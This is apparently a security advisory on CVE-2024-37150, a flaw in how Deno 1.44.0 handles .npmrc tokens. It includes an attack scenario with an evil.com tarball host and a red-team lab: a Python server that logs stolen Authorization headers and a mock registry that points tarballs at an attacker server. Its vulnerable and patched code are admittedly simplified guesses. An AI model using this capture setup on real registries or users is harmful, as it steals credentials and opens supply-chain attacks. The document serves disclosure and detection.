CVE-2024-37150

Executive Summary

CVE-2024-37150 is a credential leakage vulnerability in Deno 1.44.0, specifically in its handling of .npmrc files. When a private npm registry provides a tarball URL pointing to a different domain, Deno incorrectly sends the .npmrc credentials (intended for the registry scope) to that external tarball URL. This exposes sensitive authentication tokens to potentially malicious or compromised third-party servers. The vulnerability affects all users relying on .npmrc for private registry authentication, impacting deno install, auto-install for npm: specifiers, and LSP usage. The CVSS score is 7.6 (High), with a low attack complexity and no user interaction required. No public proof-of-concept or exploit code is currently available.

Supply Chain & Package Security

This vulnerability directly impacts the software supply chain by exposing credentials used to access private npm registries. If a private registry is compromised or serves tarballs from a different domain, an attacker could intercept these credentials, potentially gaining unauthorized access to private packages and the entire package ecosystem. This could lead to supply chain attacks where malicious packages are injected or legitimate packages are tampered with.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Attack Vector (AV): Network (N) - The attack is executed over the network.
• Attack Complexity (AC): Low (L) - No special conditions or mitigations are required.
• Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None (N) - The victim does not need to perform any action beyond normal usage.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the impacted component.
• Confidentiality (C): High (H) - Credentials are fully exposed.
• Integrity (I): None (N) - No data integrity impact.
• Availability (A): None (N) - No availability impact.

Threat Level: High. The vulnerability allows for the leakage of sensitive credentials with minimal attacker effort, posing a significant risk to organizations using private npm registries with Deno.

Deep Dive & Mechanics

The vulnerability lies in Deno's implementation of .npmrc support. The .npmrc file allows users to define registry-scoped authentication tokens (e.g., //registry.example.com/:_authToken=...). When Deno resolves npm dependencies, it fetches package tarballs from URLs provided by the registry's metadata.

In Deno 1.44.0, when a registry returns a tarball URL that points to a different domain (e.g., https://cdn.otherdomain.com/package.tgz), Deno incorrectly attaches the .npmrc credentials intended for the original registry scope to the HTTP request for the tarball. This happens because the credential matching logic does not properly validate that the tarball URL's domain matches the registry's domain.

Attack Scenario:

1. An attacker compromises a private npm registry or sets up a malicious registry.
2. The registry's metadata for a package includes a tarball URL pointing to an attacker-controlled domain (e.g., https://evil.com/package.tgz).
3. A user with a valid .npmrc file for the private registry runs deno install or uses an npm: specifier.
4. Deno fetches the tarball from https://evil.com/package.tgz and sends the .npmrc credentials in the HTTP request headers.
5. The attacker captures the credentials, gaining unauthorized access to the private registry.

Vulnerable vs. Patched Code

Vulnerable Code (Deno 1.44.0): The vulnerable logic likely resides in the npm resolution module where HTTP requests for tarballs are made. The code would use the same authentication context for the registry and the tarball URL without verifying domain consistency.

// Simplified vulnerable logic
async function fetchTarball(url: string, registryAuth: AuthContext) {
  const response = await fetch(url, {
    headers: {
      'Authorization': `Bearer ${registryAuth.token}` // Sends registry token to any URL
    }
  });
  return response;
}

Patched Code (Deno 1.44.1): The patch ensures that credentials are only sent to URLs that match the registry's domain. This is achieved by checking the hostname of the tarball URL against the registry's hostname.

// Simplified patched logic
async function fetchTarball(url: string, registryAuth: AuthContext) {
  const registryHost = new URL(registryAuth.registryUrl).hostname;
  const tarballHost = new URL(url).hostname;
  
  if (registryHost !== tarballHost) {
    // Do not send credentials to external domains
    const response = await fetch(url);
    return response;
  }
  
  const response = await fetch(url, {
    headers: {
      'Authorization': `Bearer ${registryAuth.token}`
    }
  });
  return response;
}

Exploitation & Lab Setup

Red Team

Objective: Demonstrate credential leakage by setting up a malicious registry that serves tarballs from an attacker-controlled domain.

Lab Setup:

1. Attacker Server: Set up a simple HTTP server to capture credentials (e.g., using Python).

   from http.server import HTTPServer, BaseHTTPRequestHandler
   import logging
   
   class RequestHandler(BaseHTTPRequestHandler):
       def do_GET(self):
           logging.info(f"Request headers: {self.headers}")
           self.send_response(200)
           self.end_headers()
           self.wfile.write(b"malicious package data")
   
   if __name__ == "__main__":
       logging.basicConfig(level=logging.INFO)
       server = HTTPServer(('0.0.0.0', 8080), RequestHandler)
       server.serve_forever()
   

2. Malicious Registry: Set up a mock npm registry that returns a tarball URL pointing to the attacker server.

   // Using Node.js to create a mock registry
   const http = require('http');
   const server = http.createServer((req, res) => {
       if (req.url === '/malicious-package') {
           res.writeHead(200, { 'Content-Type': 'application/json' });
           res.end(JSON.stringify({
               name: 'malicious-package',
               versions: {
                   '1.0.0': {
                       dist: {
                           tarball: 'http://attacker-server:8080/package.tgz'
                       }
                   }
               }
           }));
       }
   });
   server.listen(3000);
   

3. Victim Configuration: Create a .npmrc file with credentials for the malicious registry.

   //localhost:3000/:_authToken=secret-token-12345
   

4. Trigger: Run deno install with the malicious package.

   deno install --registry http://localhost:3000 malicious-package
   

Expected Outcome: The attacker server logs the Authorization header containing the secret-token-12345.

Blue Team

Detection and Prevention:

1. Monitor Network Traffic: Look for HTTP requests where the Authorization header is sent to unexpected domains. Use network monitoring tools to flag such anomalies.
2. Validate Registry URLs: Ensure that all tarball URLs served by your private registry point to the same domain. If using a CDN, ensure the CDN is trusted and the registry validates the URLs.
3. Rotate Credentials: Immediately rotate all .npmrc credentials if there is any suspicion of exposure.
4. Upgrade Deno: Update to Deno 1.44.1 or later.
5. Use Environment Variables: Instead of .npmrc files, use environment variables for credentials to reduce the attack surface.

Indicators of Compromise (IOCs)

• Network Traffic: HTTP requests from Deno processes to external domains containing Authorization headers with bearer tokens.
• Log Entries: In Deno logs, look for requests to tarball URLs that do not match the registry domain.
• File System: Presence of .npmrc files with credentials that may have been exposed.
• Registry Metadata: Tarball URLs in registry metadata that point to different domains than the registry itself.

Detection Engineering

YARA Rule

rule Detect_Deno_Credential_Leakage {
    meta:
        description = "Detects potential credential leakage in Deno logs or network captures"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-37150"
    strings:
        $auth_header = "Authorization: Bearer" nocase
        $tarball_url = ".tgz" nocase
        $deno_process = "deno" nocase
    condition:
        $auth_header and $tarball_url and $deno_process
}

Sigma Rule

title: Deno Credential Leakage to External Domain
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects when Deno sends .npmrc credentials to a tarball URL on a different domain
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37150
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\deno.exe'
        DestinationPort: 443
        Initiated: 'true'
    filter:
        DestinationHostname|contains: 'registry.example.com'
    condition: selection and not filter
falsepositives:
    - Legitimate use of CDNs that are explicitly trusted
level: high
tags:
    - attack.credential_access
    - attack.t1552

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37150 - Deno Credential Leakage to External Domain"; flow:to_server,established; content:"Authorization|3a| Bearer"; http_header; content:".tgz"; http_uri; pcre:"/^Host: (?!.*registry\.example\.com)/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Upgrade: Upgrade Deno to version 1.44.1 or later.
2. Credential Rotation: Rotate all credentials stored in .npmrc files that were used with Deno 1.44.0.
3. Registry Validation: Ensure your private npm registry validates that tarball URLs point to the same domain as the registry.
4. Network Segmentation: Restrict outbound traffic from Deno processes to only trusted domains.
5. Monitor Logs: Enable detailed logging for Deno and monitor for any suspicious tarball requests.
6. Use Environment Variables: Prefer using environment variables (e.g., NPM_TOKEN) over .npmrc files for authentication.

Valters IT
Securing the Digital Frontier